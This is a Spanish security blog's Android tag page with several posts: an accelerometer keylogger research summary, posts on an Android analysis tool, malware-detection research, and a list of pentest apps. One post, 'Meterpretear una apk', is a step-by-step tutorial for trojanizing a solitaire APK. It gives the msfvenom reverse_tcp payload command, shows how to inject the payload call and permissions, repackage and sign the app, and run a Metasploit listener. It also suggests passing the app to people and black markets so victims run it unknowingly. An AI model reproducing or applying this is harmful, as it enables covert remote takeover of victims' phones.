Mostrando entradas con la etiqueta Android. Mostrar todas las entradas
Mostrando entradas con la etiqueta Android. Mostrar todas las entradas

Axolotl un Keylogger para iPhone y Android

Hola a tod@s


El Machine Learning se podría decir que se encuentra entre un subcampo de las ciencias de la computación y una rama de la inteligencia artificial. El objetivo de esta ciencia es desarrollar técnicas que permitan a los ordenadores aprender. 



Es cierto que el Machine Learning está más de moda que nunca, es cada vez más frecuente el uso de estas técnicas por grande corporaciones y esto es sólo el comienzo, ¿acabaran las máquinas sustituyéndonos a los profesionales del sector? No obstante el Machine Learning no es nuevo, ya hace años hubo proyectos de Machine Learning vinculados con la seguridad informática. Por ejemplo, utilizar el Machine Learning en datos de audio deteclados de PCs, móviles o cajeros automáticos para extraer contraseñas o lo que es lo mismo Side-channel attack. La estrategia se basa en diferenciar el sonido emanado por las diferentes teclas, es decir cada tecla suena diferente a la otra, es diferenciadora.

El proyecto Axolotl se describe en un ataque donde las lecturas del acelerómetro/giroscopio y el machine learning se utilizan para desarrollar un keylogger para dispositivos móviles. Los creadores han desarrollado un ataque que explota el acelerómetro (que se encarga de las medidas del movimiento) y el giroscopio (que se encarga de medir la rotación), ambos no requieren permisos y pueden ser leídos por aplicaciones en segundo plano.

El estudio se basa en 4 hipótesis:

  1. Cuando toque en su teléfono, que se mueve, (obvio).
  2. Este movimiento puede ser recogido por el giroscopio y el acelerómetro.
  3. Este movimiento es distinta de otros movimientos y puede ser identificado por machine learning y técnicas estadísticas.
  4. El movimiento es lo suficientemente exclusivo para identificar dónde ocurrió en pantalla.


Los creadores han publicado en Github todo el código, para más información sobre el proyecto visitad su el siguiente enlace: https://github.com/tomasreimers/axolotl

Análisis Dinámico en AndroidSwissKnife

Buenas Amigos de Estación Informática. Soy Fare9 y hoy os traigo una nueva actualización de mi herramienta AndroidSwissKnife. ANDROIDSWISSKNIFE




A pesar de estar estos dos últimos días jodido ( con fecha de referencia 28/10/2016 ), he intentado hoy escribir sobre mi última actualización de AndroidSwissKnife (algo que ya llevaba un tiempo en el tintero). Hace ya tiempo que empecé a leer sobre análisis de malware en Android, pero no se me había ocurrido añadir análisis dinámico a mi herramienta, y en cuanto conocí DroidBox dije "Muy interesante, ¿por qué no?" . A los que no tengáis ni idea de que es haré una pequeña explicación:

DroidBox es una herramienta escrita en python la cual te permite levantar un emulador de android con unas imágenes del sistema modificadas, las cuales al ejecutar ciertas funciones, mostrarán por el log de android (se puede ver a través de logcat) la información en un formato JSON (ejemplo en un SMS el número a quien se envía, en una modificación el archivo modificado...). Tras esto va reuniendo la información para luego mostrarla al usuario igual en formato JSON. Para ejecutar la aplicación y en concreto la clase principal (MAIN o LAUNCHER), utiliza una librería llamada monkeyrunner la cual te permite conectar con un dispositivo, instalar una apk, ejecutar una función de la apk, hacer capturas de pantalla, hacer clicks en la pantalla... Me ha parecido una librería tan explendida que hasta famosos la usan:




El código de DroidBox puede ser consultado en: https://github.com/pjlantz/droidbox/tree/master/droidbox4.1.1

A vista de que era una opción bastante interesante, me decidí en incluir el código con distintas modificaciones en el framework AndroidSwissKnife, tuve que realizar modificaciones en distintas funciones al tener que pasar código a Python3 y además como las librerías de XML me parecen un poco aburridas y complejas de usar, me decanté por el gran amigo de los Crawler's programmers BeautifulSoup, el cual de momento funciona bien. Además añadí Burpsuite, a la hora de realizar el análisis dinámico se abrirá una ventana con Burpsuite y después nos pedirá el nombre del emulador, tras esto, creará una carpeta con apktool donde sacará el AndroidManifest para reconocer las partes del APK, y finalmente ejecutará en el emulador la aplicación y empezará a sacar logs (recomiendo dejar cargar el emulador, nunca fue muy bien ese emulador de android la verdad).

Por tanto vamos a ejecutar la aplicación a ver que tal funciona, para animar un poco hoy la sesión con un poco de música, dejo una canción que me encanta y además está cantada por una buena amiga (Fight Together - Español , Fight Together - Català )

  1.  Primero hay que instalar AndroidSwissKnife (hay una pequeña función de instalación, pero todo lo que se pueda hacer manualmente no está de más).
  2. Tras esto elegiremos una APK para realizar el análisis dinámico:
  3. Después (estando dentro de la misma carpeta que el apk) ejecutamos lo siguiente:
    androidSwissKnife.py -a 2abff9ab25d8b9909f23783f20757e612a3eaa02.apk --DroidBox 
  4. Tras esto y un poco de paciencia, tendremos abierto un Burpsuite donde podremos establecer el proxy, y establecer Intercept en OFF para no tener problemas (pestaña Proxy -> Intercept is Off), también la aplicación nos pedirá el nombre de nuestro emulador (en mi caso Sandbox):
  5. Tras esto, abrirá otro terminal, en el cual empezará a ejecutar el emulador, además en el terminal que ya teníamos abierto, empezará a usar apktool para poder conseguir el AndroidManifest de la aplicación. Tras esto nos mostrará el nombre del archivo, sus diferentes hashes (MD5,SHA1,SHA256), y finalmente diferentes partes del Manifest (uses-permissions,permissions,activities,MainActivity...).
  6. Una vez tengamos cargado el emulador, pulsaremos ENTER en nuestro terminal:
  7. Entonces monkeyrunner empezará a funcionar, conectará con el dispositivo, instalará la aplicación y finalmente ejecutará la clase principal.
     
  8. Una vez acabado, empezará el análisis dinámico y la recolección de logs, para ello podemos interactuar con el emulador y con la aplicación, con lo cual conseguiremos más logs en nuestro programa. Para finalizar simplemente tendremos que pulsar CTRL-C:
  9. Una vez pulsado CTRL-C nos mostrará en formato JSON, los logs sacados por la herramienta. Y aquí vendrá la pericia del auditor para poder saber que a accedido, o si realizó accesos a internet, o envío de SMS...
Y bueno hasta aquí, la ampliación de la herramienta AndroidSwissKnife para análisis de aplicaciones Android, aún está en una fase algo beta, tiene algunos problemillas pero se irán solucionando (cosillas varias, como por ejemplo un thread que no finaliza, fallos en algun log...), puede que la opción de burpsuite se vuelva opcional, ya que alguna aplicación pueden detectar proxies y cosillas así.
Aún así presentaré esta herramienta en el SEC/ADMIN de este año. Espero os guste y cualquier cuestión en mi github teneis un email de contacto, así como una pestañita de issues, donde dejar vuestros problemas con la herramienta.

Meterpretear una apk

Vamos a ver paso a paso como podemos crear una apk, pues con un pequeño regalito de la marca Metasploit.


Para ello podemos usar apktool completamente, o la última versión de AndroidSwissKnife . Primero digamos que en este post vamos a tocar los temas de las APKs de Android, que es el formato utilizado para empaquetar las aplicaciones ( digamos que es una especie de zip, realmente podemos hacer unzip a un apk).
También vamos a tocar Metasploit, una gran herramienta para los pentesters, esta herramienta se basa en módulos los cuales permiten hacer (sobre todo intentos) de explotación de sistemas, con los módulos de exploit que cuenta la herramienta, o módulos auxiliares. Usaremos dos de las herramientas con las que cuenta metasploit: msfvenom (para generar payloads, dando la posibilidad de pasarlos por un encoder) y msfconsole (consola de comandos para hacer uso de exploits, modulos auxiliares...).
Vamos a realizar un sencillo proceso de Ingeniería inversa en android, pero bastante sencillo.

Bien, pues empezamos con el trabajo, para ello vamos a  poner un poco de música al asunto y enumeramos los materiales necesarios ( aquí una recomendación de mi parte: https://www.youtube.com/watch?v=Q7xLS6jqV90 ).

Materiales necesarios:
  1.  Tener el framework de explotación de Metasploit (para esta herramienta teneis en el blog en la sección de libros un buen ejemplar de como usar metasploit http://www.estacion-informatica.com/p/libros.html)
  2. Tener apktool instalado (descargar siempre la última versión pues en kali viene una algo anticuada).
  3. Tener una apk original en la que inyectaremos el módulo para lanzar el payload (yo usaré un sencillo juego del solitario)
  4. Algún conocimiento de smali y xml (pero bueno tampoco mucho pues voy a ir explicando).
Pasos a seguir, además explicaré un poco lo que realiza el payload.
  • Generaremos un payload para android con msfvenom, usaremos el conocido como reverse_tcp, para ello tenemos que saber nuestra IP a la que el cliente se conectará (el pobre que ejecute la aplicación) cuando arranque el solitario. Para esta tarea tenemos el comando ifconfig, así que abrimos una terminal y escribimos "ifconfig":
Bien de estas IPs que aparecen yo usaré la 10.0.0.1, ya que en esta subred se encuentra la máquina android con la que haremos las pruebas, ahora ejecutaremos msfvenom para sacar el payload:

  msfvenom --payload android/meterpreter/reverse_tcp lhost=10.0.0.1 lport=4444 -f raw > trojan.apk


 

Ya tendremos una apk con el nombre trojan.apk, o en mi caso trojan2.apk (seguiremos usando trojan.apk).

Vamos a sacar una representación de alto nivel (en java) de esta aplicación para ver un poco como funciona, y así aprendemos un poquito de reversing, además nunca viene mal saber como funciona nuestra aplicación maliciosa. Podemos usar dos herramientas: androidSwissKnife o dex2jar directamente:

          androidSwissKnife -a trojan.apk -o trojan --get-jar
                                            Si usamos dex2jar
          dex2jar trojan.apk


Seguidamente usaremos jd-gui para ver este código:

        jd-gui trojan_dex2jar.jar

Y seguidamente, inspeccionamos el código, vamos a MainActivity. Y vemos que lo primero que hace es crear un Service, lo cual en android es un proceso en segundo plano:

Y el service a su vez llama ya al método start de una extraña clase llamada Payload .


Investigando la clase Payload vemos que apunta a nuestra IP y el puerto elegido (4444), esta clase es la que ejecuta el payload y por tanto nos da la posibilidad de tener un cliente conectado a nosotros.
Algo que nos interesa de aquí de este service es la llamada a ese Payload ( Payload.start(this) ). Esta llamada la inyectaremos en el código del onCreate() de la actividad principal del juego del solitario.

Vamos a ejecutar apktool en ambas APKs. Podeis seguir los dos métodos, el usar apktool directamente o androidSwissKnife.

             androidSwissKnife -a name.apk -o name_output --apktool
                                    o si usamos apktool
             apktool d name.apk -o name_output

Y tendremos ya dos carpetas, una para cada APK con el AndroidManifest y con el código en formato smali (del cual ya hablé en mi anterior post).


Ahora abriremos ambos AndroidManifest.xml de ambas carpetas, pues tenemos que copiar los <uses-permission del trojan.apk al de solitario.apk, para poder realizar todo tipo de actividades malintencionadas ( No seais malignos con esto... ). Vamos a ver dos imagenes una con los <uses-permission sin el cambio y otro con el cambio:

Como se ve se hemos ampliado bastante la lista, los <uses-feature no nos hacen falta pues sólo nos condicionan a que dispositivos podemos instalar la aplicación.

Seguidamente de la carpeta apktool-trojan (o como vosotros la nombrarais), vamos a coger la carpeta metasploit dentro de la ruta apktool-trojan/smali/com . Y la copiamos y la pegamos dentro de nuestra apk original en la ruta apktool-(nombre apk)/smali/com . Con esto ya tenemos el código completo dentro de la aplicación original. Ahora abrimos dos archivos muy, y digo MUY importantes, el código MainService.smali de Metasploit y el MainActivity.smali de nuestra aplicación original.

Vamos con el primero, el MainService.smali , nos centraremos en el código de onStartCommand :

Bien vamos a ver abajo de donde pone .line 16 esa linea invoca al método start de la clase Payload , pasando como argumento p0 , en smali en códigos no static es la variable this. Ya sabeis si habeis programado en java, que es una variable que apunta a la clase u objeto en si mismo.
Esa linea es la que copiaremos en el método onCreate de MainActivity.smali de la APK original .

IMPORTANTE: ¿Cómo sabemos cual es la Activity principal de la apk original?. Bien, consultaremos el AndroidManifest.xml de la apk original, y aquella que tenga un Intent-Filter con un Main y un Launcher. Usamos esa.


Veis, aquí directamente copiar y pegar a capón esa linea, y en cuanto se ejecute el onCreate, tenemos que tener un handler escuchando con msfconsole.
De momento vamos a volver a crear la apk, con apktool y firmarla con d2j-apk-sign (podeis hacerlo con androidSwissKnife, pero os voy a poner los comandos con apktool y d2j-apk-sign):

            apktool b folder-name/ -o name_temporary.apk
            d2j-apk-sign -f -o final.apk name_temporary.apk


Y con esto tendremos en final.apk la apk final que tenemos que pasar a la gente y que se instalen manualmente (podemos intentar colarlas en black markets, para todo el que tenga el dispositivo root).

Ahora vamos a ejecutar los siguientes comandos:

                   msfconsole
                                Seguidamente cuando nuestra consola cargue...
                   use exploit/multi/handler
                   set payload android/meterpreter/reverse_tcp
                   set lhost 10.0.0.1
                   set lport 4444
                   run



Y ahora a esperar que alguien ejecute la aplicación, la cual funcionará sin que él se percate.

Vamos aquí a ejecutarlo en una máquina virtual, a ver que pasa:


Muy bien, tenemos a una persona contenta de poder echarse una partida al solitario, y a otra haciendo cosas maliciosas en otra máquina con meterpreter.


Hasta aquí el POST. Espero no resultara muy pesado, he intentado hacerlo algo divertido y subir imágenes que muestren el proceso paso a paso. Para cualquier problema o cualquier pregunta podeis contactar conmigo.

Un saludo, hasta el proximo post. Fare9

(Idea sacada de la lectura de: http://www.securitybydefault.com/2014/08/alterando-el-contenido-de-un-apk-parte.html )

AndroidSwissKnife, la suiza de las aplicaciones de Android

Muy buenas a todos los seguidores de Estación Informática, me conocen en el mundillo de la seguridad por Fare9 y por este nombre podeis contactar conmigo. No hace mucho que me metí en este mundillo y la verdad es que me apasiona, hace unos meses publiqué una herramienta que aprovechaba la vulnerabilidad DoS en Whatsapp para Android, la cual enviaba via whatsapp web unos 7000 stickers, lo cual debido a las políticas que tendría Android en esos momentos de gestión de memoria, provocaba el cierre de la aplicación.





 Hoy os traigo una herramienta que he estado programando estos días para ayudaros en la tarea del análisis estático de aplicaciones Android: ANDROIDSWISSKNIFE .


Ahora paso a explicar un poco sus funciones...

 Bien como la mayoría sabemos, las aplicaciones de Android se programan principalmente en Java como lenguaje de programación principal, añadiendo librerías (en caso de necesitarlas) escritas en C/C++ para las diferentes arquitecturas donde se ejecutará esta APK, el malware por supuesto no es una excepción y se escribe igual que una aplicación normal, harán uso de las APIs que Google ponga a su disposición para realizar esas acciones "malignas" que conocemos (robo de credenciales, ransomware, backdoors...). Pues para conocer que realizan estas aplicaciones nos basamos en los análisis estáticos y dinámicos de la aplicación. Estos últimos se realizan ejecutando la aplicación en un términal, o un sistema emulado en una máquina virtual, y viendo el tráfico de red, los logs que pueda dejar la aplicación u otro tipo de técnicas del estilo.
El análisis estático se basa en la observación de los archivos que vienen con la apk, así entre ellos, el código , metadatos, buscar diferentes expresiones dentro de los archivos...
AndroidSwissKnife tiene implementadas varias rutinas para esto, agilizando cosas como la observación del AndroidManifest, búsqueda de patrones con expresiones regulares ( esas que tanto nos destrozan la cabeza), y el desensamblado del código.
En android podemos intentar desensamblar el código fuente de la aplicación de varias formas entre ellas:
  • obtener el código fuente como tal (con jadx), esto nos quitará muchos quebraderos ya que el código fuente de alto nivel nos permite verlo todo más claro, pero a su vez es el más dificil de conseguir .
  • Código Smali (con apktool) es un código que llamaríamos ensamblador basado en Jasmin (que es el código ensamblador de java). Este código tiene sencillos mnemotécnicos y es fácil de aprender, además puede ser bastante útil por si queremos modificar la aplicación y volver a empaquetarla.
  • Dalvik bytetcode conseguimos el bytecode usado por la máquina virtual Dalvik que luego será interpretado para ejecutarlo en el móvil, smali está también basado en este bytecode por tanto no será muy dificil de aprender.
Además de este código fuente tambien podremos obtener el código nativo de las librerías, el cual cambiará según sea para arm, mips o x86.

Todas estas rutinas las veo necesarias para el análisis estático, pero por supuesto la herramienta es libre y cualquiera puede modificar el código, si crees que tienes una buena idea puede modificarse la rama principal. De momento se está intentando añadir un módulo para sacar reportes en PDF (quizás la parte más importante en un pentest o análisis profesional) , y también se está estudiando la forma de añadir soporte para mostrar el desensamblado de radare2.

Espero les gustara el post, y espero les guste la aplicación. Aquí me despido hasta la proxima y sigan divirtiendose con la seguridad informática.

DroidOL: Nuevo marco para detectar Malware en Android



Hola a tod@s


DroidOL y es un marco de detección de malware adaptable y escalable basado en aprendizaje en línea. Un grupo de investigadores de la Universidad Tecnológica de Nanyang, Singapur, han creado una nueva solución para la detección de malware para Android a gran escala.


DroidOL alcanza una precisión superior a través de la extracción de características de alta calidad de gráficos de flujo de control entre procedimiento (ICFGs) de aplicaciones, que son conocidos por ser fuerte contra la evasión y la ofuscación técnicas adoptadas por el malware explican los investigadores.



Utilizaban el núcleo gráfico de Weisfeiler-Lehman (WL) para extraer rasgos semánticos de ICFGs y finalmente, en línea aprender a distinguir entre aplicaciones benignas y maliciosas.


“En un análisis comparativo a gran escala con más de 87.000 aplicaciones, DroidOL alcanza exactitud 84.29% superando a dos técnicas de malware de vanguardia por más de 20% “

"Nuestros resultados experimentales indican que enfoques de aprendizaje basado en línea son altamente convenientes para la detección de malware reales" apuntaban los investigadores.


El malware para android ha crecido mucho en los últimos años y sus capacidades han crecido enormemente, por ello es necesario nuevas técnicas efectivas para detectarlo y no ir siempre por detrás de los ciberdelincuentes.

No seáis malos. 



Más herramientas para tu arsenal pentest en Android

Ya os hemos hablado en otras ocasiones sobre herramientas en Android enfocadas al pentesting que hay en la actualidad. Entre ellas existen auténticas "suites" completas como Bugtroid (enlace PlayStore) presentada en este post, o incluso os enseñamos el Pwn Phone en este otro post

Por supuesto tenemos la más famosa de todas, dSploit, cuyo desarrollo se perdió pero surgieron magníficos forks como cSploit (enlace GitHub) que añade nuevas funcionalidades, y zANTI.

También aprovecho para recordar uno de los mejores capturadores de paquetes de red: Intercepter-NG, que incluye un mini-Wireshark y permite ataques MITM, SSL stripping y captura de cookies.

Mientras actualizaba mi arsenal de herramientas para pentesting desde Android he descubierto un par más que desconocía hasta ahora. Se trata de dos aplicaciones enfocadas a realizar ataques de SQLi.

SQLMapChick: (Play Store, GitHub)
Esta App consiste básicamente en un GUI de nuestro querido y conocido SQLMap. Su funcionamiento es muy sencillo al hacer uso de botones para elegir las opciones que quieres incluir en el comando a ejecutar.



DroidSQLi
Esta App puede descargarse desde la web del autor directamente en un APK. No he conseguido averiguar si está disponible su código fuente de forma pública pero la incluyo porque la encontré gracias a un enlace que vi pasar por Twitter hace tiempo.
En el mismo enlace anterior podéis encontrar un video-tutorial (inglés) de uso de la herramienta con un ejemplo práctico.

Bonus
Nipper: Escáner web para analizar de manera general un CMS (WordPress, Drupal,...), y listar los plugins instalados con sus versiones y vulnerabilidades asociadas. 

Mac Address Ghost: Utilidad para cambiar la MAC de tu Android.

Saludos!